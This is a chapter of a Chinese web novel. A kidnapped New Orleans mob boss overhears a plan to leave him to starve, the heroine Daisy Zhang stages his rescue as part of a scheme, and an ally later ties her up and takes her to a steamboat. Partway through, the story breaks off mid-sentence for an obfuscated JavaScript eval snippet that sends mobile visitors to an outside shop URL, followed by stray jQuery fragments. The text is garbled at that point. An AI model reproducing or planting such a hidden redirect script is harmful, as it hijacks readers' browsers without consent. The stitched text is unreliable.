19.
乔伊·拜沃特这辈子没这么憋屈过。
他在自己的高级酒店里被绑架了,手脚都用绳子捆住,嘴里塞着布条,像一袋待发的货物,困在自己的衣柜里。
有好几次,他听见手下推门进来,脚步声在房间里转了一圈,甚至还有人嘀咕着问了一句“老板什么时候出去了”,然后离开了。
他拼了命地用脚后跟踢柜门,用喉咙挤出呜呜声,甚至用头撞木板,可那些人就像是聋了一样,真是一群废物!
后来他体力不支,晕了过去。再醒来时,也不知道被搬到了什么地方。虽然离开了狭窄的衣柜,但他依然被蒙住眼睛,捆住手脚。
黑暗中,他失去了对时间的感知,但他的感官得到了强化,那些他以前从不曾留意过的声音,如今变得无比清晰:远处马蹄踩在石板路上的嗒嗒声、不知哪棵树上鸟类的啁啾,还有附近某个房子里传来的,隐隐约约的说话声。
他一直期待着黛熙·张来找他谈判。毕竟废那么大力气绑架他,总归是想得到点什么。
他甚至已经想好了开场白,他可以给钱,也可以给权,还可以承诺从此井水不犯河水,什么都可以,总之,只要放了他……
等他脱困之后,他要让这个疯女人百倍千倍地还回来。他要让黛熙·张跪在他面前求饶,让她知道得罪一个不该得罪的人是什么下场。
可是她连一句话都没跟他说过。
她把他扔在这里,像扔一件垃圾。
黑暗中,一个声音忽然穿透了那些模糊的背景噪音,清晰地传入他的耳中。
“……都准备好了吗?今晚我们就走。”
乔伊·拜沃特浑身一凛。他认出了声音的主人,黛熙·张。
他蠕动着身体,像一条被砍掉半截的虫子,艰难地朝声源的方向挪动了几寸。
“反正JB·勒格朗已经死在埃德蒙手里了,没想到他能为我做到这份上,这事儿就当它过去了吧,我也不打算继续追究了。”
乔伊的呼吸停了一瞬,大脑飞快地运转起来。什么意思?埃德蒙伯爵?他为了黛熙·张杀死JB?为什么?
黛熙的声音继续传来,越来越清晰,像是在和什么人说话。但他没有听见另一个人的声音。也许那人声音太小了,也许对方所在的位置有隔音的东西。
那都不重要。
过了一会儿,黛熙又开口了:“你说那个老混混?就扔在暗格好了,没吃没喝的,他也挺不了太久。反正那地方也有闹鬼的传闻,就算是以后有人发现了他的尸体,也只会当成是冤魂作祟。”
乔伊的心脏猛地收缩了一下,像被一只冰冷的手攥住了。
老混混。说的是他。她要把他扔在暗格里,活活饿死渴死,让他变成那栋鬼屋传说的一部分。没有谈判,没有条件,没有留活口的意思。
这个疯女人,她究竟想要做什么?
乔伊的脑中乱作一团。他想大喊,想咒骂,但绳子捆得太紧了,布条塞得太深了,他只能勉强挪动身体,发出几声含混的、毫无意义的呜咽。
他开始感到口渴,喉咙像砂纸一样干涩,不知是不是恐惧压塌了他的神志,他开始不由自主地回顾自己的一生:
出身在英国的知识分子家庭,父亲是小镇上的教师。虽然物质上并不匮乏,但他的管教,实在是太严厉了。
为了对抗这种不公,他从十二岁起就开始偷东西,十五岁,更是杀了一个修女。为了不被送进监狱,他连夜逃往利物浦,爬上了一条开往美国的货船,藏在装满咸鱼的木桶中间,在腥臭和寒冷中度过了整整十二天。
从纽约上岸,一路向南,做过码头装卸工,做过赌场打手,做过走私贩子的副手。他杀过人,也被人追杀过;出卖过别人,也被别人出卖过。花了将近三十年,他终于成了圣路易斯地区最令人畏惧的□□教父。
他以为自己已经爬到了足够高的地方,不会再有任何东西能够威胁到他。
没想到阴沟里翻船。栽在一个疯女人手里,栽得彻彻底底。他闭上眼睛,眼前开始走马灯似的闪过一些画面——英国小镇上那间灰扑扑的教堂,母亲站在厨房里烤面包的背影,那个被他杀死的修女倒下时脸上的表情,新奥尔良码头上第一次看到密西西比河时的落日余晖。
他不想死在这里。
但他已经没有力气挣扎了。
帽店内部,傍晚的光线从橱窗斜斜地照进来,在地板上投下一道暖橙色的光带。空旷的商店内部安静地吓人,只有角落里那座暗门的缝隙中偶尔渗出一丝若有若无的风声。
黛熙站在窗边,背对着门口,手指在窗沿上轻轻敲了两下,然后转过身来。
罗伯特·莫里森缩着脖子站在墙角,像一只被雨淋透的鹌鹑。他的肩膀内扣,双手交握在身前,手指不停地绞着衣角,目光躲闪,不敢与黛熙对视。
乔伊·拜沃特大概做梦也想不到,和黛熙说话的人会是他吧。
眼看信息已经传达到了,黛熙挥了挥手,示意罗伯特跟上,然后推开帽店的后门,走了出去。
两人一前一后穿过狭小的后院,来到巷子口。黛熙停下脚步,转过身,看着这个脸颊凹陷,双眼无神的男人。
夕阳的光照在她的脸上,白瓷一样的皮肤,漆黑的眼瞳,宛如一个附身在瓷偶上的厉鬼。
“眼下是你唯一翻身的机会,你可得把握好了。”
罗伯特连连点头,幅度大得像是在鞠躬。
“还记得我叫你做的那些事吗?”
罗伯特的表情紧张到了极点。他的喉结上下滚动了一下,嘴唇翕动了几次,才终于挤出一个声音:“记、记得。等到今天晚上,街上没人以后,把乔伊老爹救出来。”
黛熙冷冷看着他,“还有呢?”
罗伯特猛地反应过来,像是被电击了一下,整个人一震:“确保乔伊老爹把埃德蒙伯爵杀了JB·勒格朗的消息告诉给玛丽·勒格朗。”
黛熙这才点了点头,示意他可以走了。
罗伯特如蒙大赦,整个人肉眼可见地松弛下来,他正要转身离开,黛熙的声音又从身后飘了过来,“演得像样一点。要是叫乔伊·拜沃特发现这是我的计划,你知道后果的。”
罗伯特的背影僵了一瞬,然后点了点头,快步离开。
黛熙站在巷口,看着他的背影融入暮色中,然后收回目光,望向远处的天际线。夕阳已经沉到了屋顶以下,只在天边留下一抹暗紫色的余晖。煤气灯一盏接一盏地亮起,在渐浓的暮色中晕开一团团昏黄的光。
五颜六色的西班牙风格街道在暮色中显得格外温柔,像是被镀上了一层旧照片般的滤镜。
她靠在墙上,闭上眼睛,回想起今天早上在那条暗巷里发生的事。
几个小时前。
黛熙的手掐着那只哥特式吸血鬼的咽喉,将它按在墙上。阳光从巷口斜斜地照进来,在地面上切出一道明暗分界线。那吸血鬼的上半身在阴影里,下半身暴露在阳光下,皮肤上已经开始冒出细小的白烟,发出滋滋的声响,像一块肥肉落在滚烫的铁板上。它发出一阵尖锐的嘶叫,四肢疯狂地挣扎,指甲在砖墙上刮出一道道白色的痕迹。
“你先放开他。”
一个声音从身后传来,不大,却带着一种不容置疑的平静。
黛熙没有立刻松手。她侧过头,用余光扫了一眼身后,那个穿浅灰色连衣裙的女人站在几步之外,眉头微皱,眼神中带了几分谴责的意味。
“你的合作就是这样的?”黛熙问,语气里带着一丝不满。
云雀,或者应该叫她诺拉。
黛熙在心里感慨缘分的奇妙。当时第一次在斯托维尔区的别墅见到她,从她手里把那只装可怜的腊肠狗抢回来时,完全没有想到她就是传说中的云雀。那个在舞台上光芒四射的歌女,那个费多跟踪了好几天都没摸清底细的女人,那个谢洛暗示她顺着往下查的关键人物。
命运的安排有时候比小说还离谱。
总之,诺拉找到了她,提出合作。为了让她相信,诺拉更是提前把埃德蒙的计划透露给了她:咖啡店里那些恶心人的谈话不过是开胃菜,后续黛熙要面对的,就是埃德蒙手下那位著名的电台主持人了。
“他是谁?”黛熙说着,松开手,把吸血鬼往诺拉那边推了一把。
诺拉伸手接住,动作熟练得像接过一只调皮过头的宠物狗。她低头看了一眼吸血鬼正在缓慢愈合的伤口。
“他是乔纳森。”
黛熙愣了一下。乔纳森?那个仁慈圣母私立医院的年轻医生?
“他怎么会变成这样?”
“说来话长。”诺拉叹了口气,“总之他现在没什么智力,你刚才没头苍蝇一样乱跑,他这才发疯追上来。”
黛熙脸上的表情一僵,尴尬地扭过头。乔纳森从诺拉的怀里起身后,立刻蜷缩进墙角的阴影里,发出低沉的呜咽声,像一个做错了事的孩子。
诺拉起身,拍了拍裙子上的灰尘,直视黛熙的眼睛:“埃德蒙和我说的一样吧?”
黛熙沉默几秒,点了点头。
“那你同意合作了吗?”
黛熙嗤笑一声:“我大不了也可以直接逃走啊?他这么难缠,我何必……”
诺拉看着她,目光里带着一种意味深长的审视。
黛熙不自觉闭上了嘴。
诺拉这才缓缓开口:“十年前的张家大火,埃德蒙虽然没有动手,但他明明早就知道JB·勒格朗就是凶手,却一直隐瞒。”
“当初他之所以救下你,也只是以为你会医术,想挟恩求报罢了。后来得知你压根没有学过多少东西,就转头让你去干最危险的活。没有利用价值后,更是直接扫地出门。”
“他现在费尽心思,又是说软话,又杀了合作多年的JB·勒格朗,不过是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718148|207627||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看你会医术,能帮他打理医院罢了。”
她顿了顿,目光变得更加锐利:“你咽得下这口气吗?”
黛熙没有说话。巷子里安静了几秒,只有乔纳森在角落里发出的低低呜咽声。
夜已经很深了,法国区的街道上有一种独特的静谧,河上的汽笛声低沉地回荡,风吹过屋顶的瓦片,发出细微的沙沙声。
黛熙趴在帽店屋对面顶上,身体紧贴着瓦片,像一只蛰伏的猫。她盯着帽店后门的方向,直到两个模糊的身影从里面踉踉跄跄地走了出来,她才微微松了口气。
罗伯特和乔伊老爹消失在巷子的拐角。
黛熙才从屋顶上翻身而起,沿着屋脊轻巧地跑了几步,然后一跃,落在相邻的一座建筑的阳台上。她顺着阳台的边缘移动,像一只在夜间活动的猫科动物,动作轻盈而精准,然后脚下一滑,啪的一声落在三楼的露台上。
黛熙暗道一声不好,连忙捂住口鼻,凝神朝里望去。
窗帘拉着,里面一片漆黑。
黛熙稍稍松了口气,正准备顺着排水管滑下去时,忽然,一只手从黑暗的卧室中伸出来,准确地抓住了她的腰。
她吓了一跳,差点叫出声。回过神来时,她已经被抓进了房间里,后背撞上了一个坚实的胸膛,紧接着,眼前一花,灯亮了。
谢洛就站在她身后。他穿着一件深色的衬衫,领口微敞,袖子卷到小臂,露出大片雪白的皮肤。
灯光在他脸上投下明暗交错的光影,让那双灰绿色的眼睛看起来比平时更加深邃。
“你跑到我的阳台上做什么?”他眉头微蹙,嘴角抿着,声音里带着些被吵醒的不耐烦。
黛熙想起前天的争吵,也不敢去看他,只低着头,尴尬地笑了笑:“呃……路过?”
谢洛微微侧了侧身体,挡住她悄悄往外移动的脚步,目光在她脸上停留了许久。直到黛熙被他看得不自在,干咳了一声。
“你就没有什么想说的吗?”谢洛问。
黛熙眼看糊弄不过去,脑子一转,忽然有了主意:“其实我是来辞行的。”
她深吸一口气,换上一副沮丧的表情,黑葡萄一般的眼睛里立刻蒙上了一层水雾,“我要离开新奥尔良了。我根本就对付不了埃德蒙伯爵,我是个废物,就连他身边的云雀都不是对手。报仇什么的,还是算——”
她想得倒是好,先来一招金蝉脱壳,等他们几波人斗得人仰马翻了,再来补一刀。
话还没说完,谢洛突然一只手扣住她的手腕,另一只手按住她的肩膀,将她整个人翻转过去,面朝下按在桌面上。
黛熙挣扎了一下,却发现谢洛的力道大得出奇,像是一把铁钳,稳稳地锁住她的关节,让她完全使不上力。
“你干什么?”她怒斥道。
谢洛却不回答。他狠狠咬了一下后槽牙,从抽屉里抽出一根绳子,手法利落地将黛熙的手腕捆在了一起。整个过程不超过十秒,干净利落,行云流水,像是在心中演练了无数次。
“喂!你疯了?!”黛熙扭动着身体,试图挣脱,但绳子捆得极有技巧,越挣扎,勒得越紧。
她像一条被翻过来的鱼,徒劳地在桌面上扑腾了几下。
谢洛随即将她整个人横抱起来,大步走出卧室,走下楼梯,穿过走廊,推开后门。一辆马车正停在门口,车夫坐在车头,像是早就接到了通知,连问都没问,只是点了点头,拉开车门。
黛熙被塞进车厢,歪倒在座椅上。
“你到底要干什么?!”
谢洛依旧不发一言,只是脸色阴沉得越发厉害。他跟着上了车,关上车门。马车的轮子碾过石板路,发出规律的辚辚声。
煤气灯的光透过窗帘的缝隙照进来,在谢洛的脸上投下明灭不定的光影,“送你离开新奥尔良。”他说,语气平淡得像在说今天天气不错。
黛熙愣了一下:“什么?”
“你不是说要离开吗?”谢洛说,“我送你。”
“你在说什么胡话!”
“你不是说要走吗?正好,我开船送你。”谢洛的语气依然平淡。
但黛熙已经隐隐从他的话语里听出了几分怒气。
什么意思?这家伙发现她在撒谎了?
她的脑子飞速运转起来。她自认刚才的表演天衣无缝,那沮丧的表情,那颤抖的声音,那恰到好处的水雾。
黛熙的心沉了下去。她张了张嘴,想说点什么来补救,但话还没出口,马车已经停了下来。
灯火通明的码头,一艘巨大的汽船正停泊在岸边,烟囱里冒着滚滚白烟,在夜空中升腾成一团灰白色的云。舷梯已经放下,乘客们正在排队登船,行李被搬运工扛在肩上,码头上充斥着告别声和汽笛的轰鸣。
“我开玩笑的!我不走了!”黛熙惨叫一声,声音里带着真切的惊慌,“谢洛,我真的不走了!你放开我,我们好好说——”